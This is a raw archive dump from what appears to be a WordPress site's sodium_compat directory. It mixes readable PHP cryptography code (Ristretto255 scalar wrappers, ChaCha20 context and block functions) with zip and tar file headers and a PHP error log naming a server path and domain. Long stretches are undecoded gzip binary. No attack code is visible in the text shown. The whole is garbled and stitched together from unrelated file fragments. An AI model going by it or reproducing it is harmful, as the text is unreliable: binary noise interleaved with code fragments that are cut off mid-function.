$s, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_invert($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_invert($s); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_negate( #[\SensitiveParameter] $s, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_negate($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_negate($s); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_complement( #[\SensitiveParameter] $s, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_complement($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_complement($s); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_add( #[\SensitiveParameter] $x, #[\SensitiveParameter] $y, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_add($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_add($x, $y); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_sub( #[\SensitiveParameter] $x, #[\SensitiveParameter] $y, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_sub($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_sub($x, $y); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_mul( #[\SensitiveParameter] $x, #[\SensitiveParameter] $y, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_mul($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_mul($x, $y); } /** * @param string $n * @param string $p * @param bool $dontFallback * @return string * @throws SodiumException */ public static function scalarmult_ristretto255( #[\SensitiveParameter] $n, #[\SensitiveParameter] $p, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_scalarmult_ristretto255($n, $p); } return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255($n, $p); } /** * @param string $n * @param string $p * @param bool $dontFallback * @return string * @throws SodiumException */ public static function scalarmult_ristretto255_base( #[\SensitiveParameter] $n, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_scalarmult_ristretto255_base($n); } return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255_base($n); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_reduce( #[\SensitiveParameter] $s, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_reduce($s); } return ParagonIE_Sodium_Core_Ristretto255::sc_reduce($s); } /** * Runtime testing method for 32-bit platforms. * * Usage: If runtime_speed_test() returns FALSE, then our 32-bit * implementation is to slow to use safely without risking timeouts. * If this happens, install sodium from PECL to get acceptable * performance. * * @param int $iterations Number of multiplications to attempt * @param int $maxTimeout Milliseconds * @return bool TRUE if we're fast enough, FALSE is not * @throws SodiumException */ public static function runtime_speed_test($iterations, $maxTimeout) { if (self::polyfill_is_fast()) { return true; } /** @var float $end */ $end = 0.0; /** @var float $start */ $start = microtime(true); /** @var ParagonIE_Sodium_Core32_Int64 $a */ $a = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16)); for ($i = 0; $i < $iterations; ++$i) { /** @var ParagonIE_Sodium_Core32_Int64 $b */ $b = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16)); $a->mulInt64($b); } /** @var float $end */ $end = microtime(true); /** @var int $diff */ $diff = (int) ceil(($end - $start) * 1000); return $diff < $maxTimeout; } /** * Add two numbers (little-endian unsigned), storing the value in the first * parameter. * * This mutates $val. * * @param string $val * @param string $addv * @return void * @throws SodiumException */ public static function sub( #[\SensitiveParameter] &$val, #[\SensitiveParameter] $addv ) { $val_len = ParagonIE_Sodium_Core_Util::strlen($val); $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv); if ($val_len !== $addv_len) { throw new SodiumException('values must have the same length'); } $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val); $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv); $c = 0; for ($i = 0; $i < $val_len; $i++) { $c = ($A[$i] - $B[$i] - $c); $A[$i] = ($c & 0xff); $c = ($c >> 8) & 1; } $val = ParagonIE_Sodium_Core_Util::intArrayToString($A); } /** * This emulates libsodium's version_string() function, except ours is * prefixed with 'polyfill-'. * * @return string * @psalm-suppress MixedInferredReturnType * @psalm-suppress UndefinedFunction */ public static function version_string() { if (self::useNewSodiumAPI()) { return (string) sodium_version_string(); } if (self::use_fallback('version_string')) { return (string) call_user_func('\\Sodium\\version_string'); } return (string) self::VERSION_STRING; } /** * Should we use the libsodium core function instead? * This is always a good idea, if it's available. (Unless we're in the * middle of running our unit test suite.) * * If ext/libsodium is available, use it. Return TRUE. * Otherwise, we have to use the code provided herein. Return FALSE. * * @param string $sodium_func_name * * @return bool */ protected static function use_fallback($sodium_func_name = '') { static $res = null; if ($res === null) { $res = extension_loaded('libsodium') && PHP_VERSION_ID >= 50300; } if ($res === false) { // No libsodium installed return false; } if (self::$disableFallbackForUnitTests) { // Don't fallback. Use the PHP implementation. return false; } if (!empty($sodium_func_name)) { return is_callable('\\Sodium\\' . $sodium_func_name); } return true; } /** * Libsodium as implemented in PHP 7.2 * and/or ext/sodium (via PECL) * * @ref https://wiki.php.net/rfc/libsodium * @return bool */ protected static function useNewSodiumAPI() { static $res = null; if ($res === null) { $res = PHP_VERSION_ID >= 70000 && extension_loaded('sodium'); } if (self::$disableFallbackForUnitTests) { // Don't fallback. Use the PHP implementation. return false; } return (bool) $res; } } PK&L[aB%%ova/ChaCha20.zipnu[PKZ[860761/index.phpnu[PKZ[ index.phpnu[PKZ[Ә** IetfCtx.phpnu[container[12] = self::load_4(self::substr($counter, 0, 4)); } $this->container[13] = self::load_4(self::substr($iv, 0, 4)); $this->container[14] = self::load_4(self::substr($iv, 4, 4)); $this->container[15] = self::load_4(self::substr($iv, 8, 4)); } } PKZ[CDffCtx.phpnu[ */ protected $container; /** * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor. * * @internal You should not use this directly from another application * * @param string $key ChaCha20 key. * @param string $iv Initialization Vector (a.k.a. nonce). * @param string $counter The initial counter value. * Defaults to 8 0x00 bytes. * @throws InvalidArgumentException * @throws TypeError */ public function __construct($key = '', $iv = '', $counter = '') { if (self::strlen($key) !== 32) { throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.'); } if (self::strlen($iv) !== 8) { throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.'); } $this->container = new SplFixedArray(16); /* "expand 32-byte k" as per ChaCha20 spec */ $this->container[0] = 0x61707865; $this->container[1] = 0x3320646e; $this->container[2] = 0x79622d32; $this->container[3] = 0x6b206574; $this->container[4] = self::load_4(self::substr($key, 0, 4)); $this->container[5] = self::load_4(self::substr($key, 4, 4)); $this->container[6] = self::load_4(self::substr($key, 8, 4)); $this->container[7] = self::load_4(self::substr($key, 12, 4)); $this->container[8] = self::load_4(self::substr($key, 16, 4)); $this->container[9] = self::load_4(self::substr($key, 20, 4)); $this->container[10] = self::load_4(self::substr($key, 24, 4)); $this->container[11] = self::load_4(self::substr($key, 28, 4)); if (empty($counter)) { $this->container[12] = 0; $this->container[13] = 0; } else { $this->container[12] = self::load_4(self::substr($counter, 0, 4)); $this->container[13] = self::load_4(self::substr($counter, 4, 4)); } $this->container[14] = self::load_4(self::substr($iv, 0, 4)); $this->container[15] = self::load_4(self::substr($iv, 4, 4)); } /** * @internal You should not use this directly from another application * * @param int $offset * @param int $value * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($offset)) { throw new InvalidArgumentException('Expected an integer'); } if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } $this->container[$offset] = $value; } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return mixed|null * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { return isset($this->container[$offset]) ? $this->container[$offset] : null; } } PKZ["FVxx error_lognu[[18-May-2025 10:47:32 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [18-May-2025 11:27:27 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [05-Jun-2025 06:09:05 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [05-Jun-2025 07:50:18 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [17-Jun-2025 18:24:13 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [22-Jun-2025 20:26:01 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [26-Jun-2025 00:52:43 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [28-Jun-2025 15:43:16 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [28-Jun-2025 17:32:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [11-Jul-2025 10:43:08 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [11-Jul-2025 11:05:32 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 PKZ[860761/index.phpnu[PKZ[ @index.phpnu[PKZ[Ә** yIetfCtx.phpnu[PKZ[CDffCtx.phpnu[PKZ["FVxx {error_lognu[PKt,$PK'L[XY1F=F=ova/lib.tar.gznu[}w۸| 7gqId^V5ˑmt{thY˒JJIv)Nd̃0 H {O)t3gVn;{Ns`}5丳kbUQ?ƴr15i-Xxw2y&ϵ+}^Ηavʰl;˘m ji˭pLoM_͕1];%+KL~v9GwOj?k,d~j>|j9h5/_>խs}U6J~*ͫM@ث$2nL{mXϮ7\.gOsݶ9![?N~e^ٛ+{mGjM>"Nؑ;Ov4l'2gi_Qe\_Y ,ïqޯb?jNT#NļX,wg&ւ2fZЀvm# Nk29.yt=}ڋhenehWYݗ.+Ɗd{2_E®Vbsm8sЩ٫>sz.;h(?;n_Ylܝ4sv 35?Iymmx,X8\k[^/MQo55|.D"piv9xbuOVsz|6ި(|Sh|; ,ZRǷ5Ek >~eo5./a5U[[૯j-pW-`9Źj۲_/aŧɨ:>7\PUABVOx g]?`Fk vjx084;oxJ|%b{-"%ZN@% @%Cg?hy_E|)qM9kŝ~5S6fޯƽXhsy,5=exתmM_̴:ծvYk͖bez`p|aEk=VϜwZ~}+ϕekϙ5voo3ט{40\WԹ~9x^^2X;<-Kx^Jy:_~|<Onl5잜Os8zſf)R|T8K̍Ňusɽup\GWykD5ws|S$LJNlp<glf?9):t?N][Soާq`7u ;_zrJ;ȹ-f Zp +=IR^=bd7y<sJworwYl~gm=##Cg'qBk(&͕7rĦAY,2( sgAq"MTھc{Ƀws}rC]tṘ%e޳n₅S6wދ Ջ=ͼNzy.c;xAKm<'F5K&ڣNt\v/vԏ[] ?:/{ΩsMޓM˜=ڏ?jϹ;{UfwON7'S}>ׯƳ+f;aI?Ƚ舕z<<Թ޹\hO6 mw~^b'Ns2oxw{,lo#caiN ?.: Ĺǻߺ2qaZ$~4kg2N]μY,-#ȅ?VFϲVaH5`}qh?줢3nQPSTC`+ac\C#waTxuk|+vT 5S_k!~I\dfg+F!M,L,cZ L'3^$ErC=5W6%0M'|2zQ HowCr9/}!S"6%Br<Ly=6uE=s<1lv`gu3=(X^''93ö6Ky[v{^9ĺ׳>;v'kscL3+o~Itռ{5RW\_oPަ s)Ȍq鷅̞a&+aYrgҹh7Y##桦Om9%9 2`TB,&("ru.CdGj:f6` ؄6iem`bނ# Ss6T>\9dl*<춠 x?Mo7 1Qp|vF&rvt;]+fdxZ 1NK6/X!`9hp,s|N$bATϋQ̒8֨DJC(жS-jV-qYi f:p-2SuRkH4|(DF}Vœφe^?3ߧ)Vo2'.qЄGRnUtVqvxK S8 ) )9vE42!zkky?yv/fjnNٿP'sĄd%M="L 8>G+ة+% 1$>IsNFqZqBGNn;qxf4L 9>BbA WjA%I?b+F69,58uw],qEl-C);4#ęv,!SGmDwuqTvhJ] NҶ \M^AFڏ09[*Hƌ*B1*$s_juUύ0,szۀI?|>;77#%g!zɕ }ܽksYťL ?'L}Y6}}=Ww=sc(?# 0 p@Rq*V# 藶%_n5V~%0^zt\^j,$>0 TZt^hp" W ~gHdCʈH<5͌5g3eK7 ؛+! ĺ{bc($]lGM}obr!"&ruB\+<:fsX 병SEb}1 .'wH0XsE8YGrlQ1Tt(VB+ywD Jfc'~a椒\7@ܫwi=3{].=q@2Yo:uUn!+ if!2lѥs,YU5W գPnt:[6;]/t|iTSx[/yO>O.֕=7 }~7PLY*X}+'k>Iz{$Ws9avJFWfjF.x)*N & '1G GaG%.zU# 2)SR0iׅGe)E ?YVо[dUrAS{j ddzui]61-8\E9ʩ-|G[pJuىlE^_JyEvyP*f!0ok#`\<"^OUByMy !w0n"|PҒ;r*oA}H{L7; O&/s1 Ou3g-LҎ^Y鼫;XRsTyI3.oLk{AoR|SƂܛj7q7쫆N V: ^AJ7|~JgFMr$u?0? $ƿ]vK.:Wmf ݡUL8XH^@Mi]URKrM=pޑ{7!?2\ڿ KtUw-xwaa&zt)v2=$>LȈf+*^Y`Zvdu7a_M7g3K} 1R$ ϖYu:׽uDp^-/z7Vz$QRP55=A,xǤwU |#nFEMo YD6#".OzqoƖύiGmfZ ȳ]ЛLk/WᗫΛtk|m]"/C#K K+ucx˟n/<.Vk<\h (,wT Co ~ugIT_敥[y+tCh^ʹN>lQNEf]08Ah@sxV8#('v6PnL~%@,sZ1/4+\YTca%˰bsJ֟0l}~ެV[iCڰ 9^.X:˹^HHe yf%R,د3#rzNURq{tZ dԮwőcX\*OEȫ)(B-ֆ=\ *a!{H_n|j*<3Qfa^/-] +m&qd)dҘY6lQ2Ś+25?gu:hMݖLՋ\G}:7AChw:@#׺Ū.?3'nId;ur179Ϸk|xy&QٟŰ?2L99\vONΛ }Fw=v`m2 cjwNϜ>z|tރU|;4J\~|hU j\^ ~uIJV)(H߉cYҼ.· ƝSa6~ok^(lqk]BcDso<8h du5ꝏ4^%de0bp2V9J3V9(*&rf~(@c__:`qss`yFAwxq0.bz--b8ޚEsZ=:06嵨7Rƒ9\pO{ݳZL9*)-{CMka=e)y>e`uro`c$s:w v\[)[,GЉu(ڈHh 2b?Y7ca15{{;k|t휁sS*{7g]d7l.lݲ)3&ֽI2Ω ܾ;C(Hǭ}kwKoq"<jpd' 1ȝاmp1I!c5Ysp2:^Vv^| ۇd,([wغMwt>5͓yRxOrg,O҈;.SA8ۻf-tyfKm\kMjO4ߏ +Zz_M_,S_9<~9_e~ ەh"oKV9;VF+ɣ/i-ssf n+I+m:Š[l,?Vs3 {l=nIZVtTUP =U 9gq+9 *j8beXcߞJ}N+Ib#! bMhN7ޡ:eX6헒'IGyfU͜Y)%\oOoր78et8^fX+`'3H(,VsCO%ʀ$Q}K$ؠwKzs֡ZۺWq{Mr1#7[E F-m'm=5_auG'_sFosw[cJ_?4N1S $F/s/@(?? iz% {0'w@^]k`4*"<{4rF`: =Uټ1s,@tC簁9spN^wAT'm@a8r^#⧣:"\/"ɭbowKUϭ7°)-1#Bc?|{DaYb8dZpfq}^T4qv½`rm. ):e*G1|r_Rs}yò+ھKnM5\ [IKVr{~4=f5׀;ҶP .!ʾw>emal.3\ex9o sMc.>6FNʼn1b} бӠB< +r0oz lE"`bJ/Id,t{~%F-[eK\ix_d|oMp1P3KS9B;c@y? O\!/~E1;*RGH2H{-C2P[+N"ul*Vо[mrI'M2QŊU6g +Zc[syJ&h6u:V3mo禱cnK+2W7י՛kl%M`rM)ʘ:*86ws=U,ݿ"LJ ct5[ ;z\]~|s\ rל8{=VB/o3Q1*\ (\uXohtZh|i7[řhQ~K8>UlF>Ҵc^ (l$Bٲ,nBg vgl. Aw[ˋ1 =,$X"Q##LA9݈j!-rȆU iE4ZH O ""pt!-*"j|!,/a%xO7 o/>MFH1YKM1|P0/!<; g]="xFt?2s~xNt?OiLԋaKr\t|}s͗N{a~N!A " [3Elx'qY$ ?f!_mx&1Vmx*a] L3toOi x>AzgY<3ax\\dt.NΘⓡ!c|2.O:< ! ^wjwG,/g- :hKL0%r!QA[IǑpnA[\Gwhs_gҐW1N|m!i(.n %`+^,..;#J_6N.?׏&(GX!Ŗ#yL+沝Fi!BV==y! E!z I!:"$RoBدΟy."|26Nf4G{{G{L @@T t]%\jJTrAHPQHpYhHPY(H@kң $RhHd Q*Q@D<.Zi\ $PJ*"V F@"RHE@= @ z8 $p z8 jM@P@ J@@gU O@^ B?W AP@F 2 :  > * $8 $( (`s)(tٕS  nhhHpB@b$D0Zy`J $5đX(+P Ac W @@@PDVZCI` $RhH*HG#T F@"M  " $*(^^  * $0 $Jyx{T $`j( ) #+ *P+(@B@B@B@F^V D@"PD <,Z\ $H0TT E@"TD" V{R    $ $ $+hJ     j $pH0  B l2|"DR d $RXH,J( 1*0+sP)(tUS A rhHHB@Z$L0R`J $uđV(* P cV (@@@PCTXCE` $rHH䢑*GS F@"M (" $ (\\   " $0 $,<֞H $PBQR AF V A!T %V QPVTPD& =*@"TD zyX $HHq*`@@"VD&D0B( $@zr H(HHH'V Aє $@z<"rR $pH (`#r z  $d $ D $ $8H)YP Ab U aW AR Q16<@RА* DžV90 $HIR=` $;hH#IQU *@@@%Q@ TJ   $rHґ*E#U F@"ND. $PDZ iH0P   BbEHaH#fqȈ \@@"J $ $84 $ $4**+*P* GH *@T 4,by\ $Ҹ(HT E@"VD X{Z $ $p H $pZ $#T  ^@@\? A~D@ Bd:t*<Z|:,T $05HphHPP S AQ16<+@Z*ƅX70 $8IRA` $;hHj#I Q$V @@@$QA VH    $RH*HEU F@"PD* $@DbHTP A   BjUHaHZ1QÈ Z @@"B $ $H4 $ $4 ** **`GH *HA"T C@"VD"<.B (H$r*#U F@U T@@@@@   $(#R@@@@@@@@Z? A~D@A@PCLHTD"  $H $8 $T $8 J<݆gvHC@R* V)I@"TD"xmIqU # $@B%HH$ (!*@)P A U A V APQD.\:Rh $H)eSBH@=  $8 W W B(@@@ 6 Ip>^Q)H $+@@@DC@K@@"J .  2  .  :yM@zTXD$B)< $hH$r*"T RQD"L0R` $P*Z IH $( $ ( P+ 0* O@2)H $xD $ $ $PH+P G $ $@ 5H!HAHAHH$p)Ha!R (@@@@@A@cmxfWM9: $ȡ!U A  r`hHz $2HH$)1wЖ j+GZ:H@$TBZJ  B 4 R4 bHQ+ȥ#U F@"ND>\6%H $*`(@r r( $8 $8(`P+nn "I})**Ha!R (@@@@@A@c.ē rhHHB@Z$L0R`J $uđV(* P cV zB!4R( $h $h $(**V KG@"TD>|6:lJ(@iH0U P@' $ $PHpHp Q ɀ,PS>i-c^m u4ا}iJ UQb۷N̎(ǽl{L|}wpylcrX!aa%<"ӞL\)(jd2&,;gO?y.mn%M<{ X{V:U g6!v}k-ؚW{Xb|qFq626?影6??]r1M||c1;aplJѼ[ݾ44TYFNqdž'vg}n&XCcmr˹0%+VjQf(J:@GV͂-Y*_s11oW51X¨m:{ sހt)*esuxQ&=߬lXX/k %d~κ+\9RG4:ު;:aϫ F_H)8> (32 - $n)) ) ); } /** * The ChaCha20 quarter round function. Works on four 32-bit integers. * * @internal You should not use this directly from another application * * @param int $a * @param int $b * @param int $c * @param int $d * @return array */ protected static function quarterRound($a, $b, $c, $d) { # a = PLUS(a,b); d = ROTATE(XOR(d,a),16); /** @var int $a */ $a = ($a + $b) & 0xffffffff; $d = self::rotate($d ^ $a, 16); # c = PLUS(c,d); b = ROTATE(XOR(b,c),12); /** @var int $c */ $c = ($c + $d) & 0xffffffff; $b = self::rotate($b ^ $c, 12); # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); /** @var int $a */ $a = ($a + $b) & 0xffffffff; $d = self::rotate($d ^ $a, 8); # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7); /** @var int $c */ $c = ($c + $d) & 0xffffffff; $b = self::rotate($b ^ $c, 7); return array((int) $a, (int) $b, (int) $c, (int) $d); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx * @param string $message * * @return string * @throws TypeError * @throws SodiumException */ public static function encryptBytes( ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx, $message = '' ) { $bytes = self::strlen($message); /* j0 = ctx->input[0]; j1 = ctx->input[1]; j2 = ctx->input[2]; j3 = ctx->input[3]; j4 = ctx->input[4]; j5 = ctx->input[5]; j6 = ctx->input[6]; j7 = ctx->input[7]; j8 = ctx->input[8]; j9 = ctx->input[9]; j10 = ctx->input[10]; j11 = ctx->input[11]; j12 = ctx->input[12]; j13 = ctx->input[13]; j14 = ctx->input[14]; j15 = ctx->input[15]; */ $j0 = (int) $ctx[0]; $j1 = (int) $ctx[1]; $j2 = (int) $ctx[2]; $j3 = (int) $ctx[3]; $j4 = (int) $ctx[4]; $j5 = (int) $ctx[5]; $j6 = (int) $ctx[6]; $j7 = (int) $ctx[7]; $j8 = (int) $ctx[8]; $j9 = (int) $ctx[9]; $j10 = (int) $ctx[10]; $j11 = (int) $ctx[11]; $j12 = (int) $ctx[12]; $j13 = (int) $ctx[13]; $j14 = (int) $ctx[14]; $j15 = (int) $ctx[15]; $c = ''; for (;;) { if ($bytes < 64) { $message .= str_repeat("\x00", 64 - $bytes); } $x0 = (int) $j0; $x1 = (int) $j1; $x2 = (int) $j2; $x3 = (int) $j3; $x4 = (int) $j4; $x5 = (int) $j5; $x6 = (int) $j6; $x7 = (int) $j7; $x8 = (int) $j8; $x9 = (int) $j9; $x10 = (int) $j10; $x11 = (int) $j11; $x12 = (int) $j12; $x13 = (int) $j13; $x14 = (int) $j14; $x15 = (int) $j15; # for (i = 20; i > 0; i -= 2) { for ($i = 20; $i > 0; $i -= 2) { # QUARTERROUND( x0, x4, x8, x12) list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12); # QUARTERROUND( x1, x5, x9, x13) list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13); # QUARTERROUND( x2, x6, x10, x14) list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14); # QUARTERROUND( x3, x7, x11, x15) list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15); # QUARTERROUND( x0, x5, x10, x15) list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15); # QUARTERROUND( x1, x6, x11, x12) list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12); # QUARTERROUND( x2, x7, x8, x13) list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13); # QUARTERROUND( x3, x4, x9, x14) list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14); } /* x0 = PLUS(x0, j0); x1 = PLUS(x1, j1); x2 = PLUS(x2, j2); x3 = PLUS(x3, j3); x4 = PLUS(x4, j4); x5 = PLUS(x5, j5); x6 = PLUS(x6, j6); x7 = PLUS(x7, j7); x8 = PLUS(x8, j8); x9 = PLUS(x9, j9); x10 = PLUS(x10, j10); x11 = PLUS(x11, j11); x12 = PLUS(x12, j12); x13 = PLUS(x13, j13); x14 = PLUS(x14, j14); x15 = PLUS(x15, j15); */ /** @var int $x0 */ $x0 = ($x0 & 0xffffffff) + $j0; /** @var int $x1 */ $x1 = ($x1 & 0xffffffff) + $j1; /** @var int $x2 */ $x2 = ($x2 & 0xffffffff) + $j2; /** @var int $x3 */ $x3 = ($x3 & 0xffffffff) + $j3; /** @var int $x4 */ $x4 = ($x4 & 0xffffffff) + $j4; /** @var int $x5 */ $x5 = ($x5 & 0xffffffff) + $j5; /** @var int $x6 */ $x6 = ($x6 & 0xffffffff) + $j6; /** @var int $x7 */ $x7 = ($x7 & 0xffffffff) + $j7; /** @var int $x8 */ $x8 = ($x8 & 0xffffffff) + $j8; /** @var int $x9 */ $x9 = ($x9 & 0xffffffff) + $j9; /** @var int $x10 */ $x10 = ($x10 & 0xffffffff) + $j10; /** @var int $x11 */ $x11 = ($x11 & 0xffffffff) + $j11; /** @var int $x12 */ $x12 = ($x12 & 0xffffffff) + $j12; /** @var int $x13 */ $x13 = ($x13 & 0xffffffff) + $j13; /** @var int $x14 */ $x14 = ($x14 & 0xffffffff) + $j14; /** @var int $x15 */ $x15 = ($x15 & 0xffffffff) + $j15; /* x0 = XOR(x0, LOAD32_LE(m + 0)); x1 = XOR(x1, LOAD32_LE(m + 4)); x2 = XOR(x2, LOAD32_LE(m + 8)); x3 = XOR(x3, LOAD32_LE(m + 12)); x4 = XOR(x4, LOAD32_LE(m + 16)); x5 = XOR(x5, LOAD32_LE(m + 20)); x6 = XOR(x6, LOAD32_LE(m + 24)); x7 = XOR(x7, LOAD32_LE(m + 28)); x8 = XOR(x8, LOAD32_LE(m + 32)); x9 = XOR(x9, LOAD32_LE(m + 36)); x10 = XOR(x10, LOAD32_LE(m + 40)); x11 = XOR(x11, LOAD32_LE(m + 44)); x12 = XOR(x12, LOAD32_LE(m + 48)); x13 = XOR(x13, LOAD32_LE(m + 52)); x14 = XOR(x14, LOAD32_LE(m + 56)); x15 = XOR(x15, LOAD32_LE(m + 60)); */ $x0 ^= self::load_4(self::substr($message, 0, 4)); $x1 ^= self::load_4(self::substr($message, 4, 4)); $x2 ^= self::load_4(self::substr($message, 8, 4)); $x3 ^= self::load_4(self::substr($message, 12, 4)); $x4 ^= self::load_4(self::substr($message, 16, 4)); $x5 ^= self::load_4(self::substr($message, 20, 4)); $x6 ^= self::load_4(self::substr($message, 24, 4)); $x7 ^= self::load_4(self::substr($message, 28, 4)); $x8 ^= self::load_4(self::substr($message, 32, 4)); $x9 ^= self::load_4(self::substr($message, 36, 4)); $x10 ^= self::load_4(self::substr($message, 40, 4)); $x11 ^= self::load_4(self::substr($message, 